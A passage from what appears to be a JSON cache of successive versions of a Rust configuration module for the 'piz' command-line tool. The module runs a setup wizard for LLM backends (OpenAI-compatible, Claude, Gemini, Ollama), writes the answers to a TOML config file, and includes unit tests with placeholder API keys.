.with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "388379de47893be285fc5542500a018381b0312e": {"t": 1785760776.7771695, "n": 15298, "h": "b2763216f663c4ef", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "2af11e2a57fc1d577cc408c842ae89c3fa0bca96": {"t": 1785760778.1057093, "n": 14895, "h": "834c27bff04f67fd", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\"[openai]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\"[claude]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\");\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = \\\"{base_url}\\\"\\n\"));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = \\\"{api_key}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = \\\"{host}\\\"\\nmodel = \\\"{model}\\\"\\n\"\n ))\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, 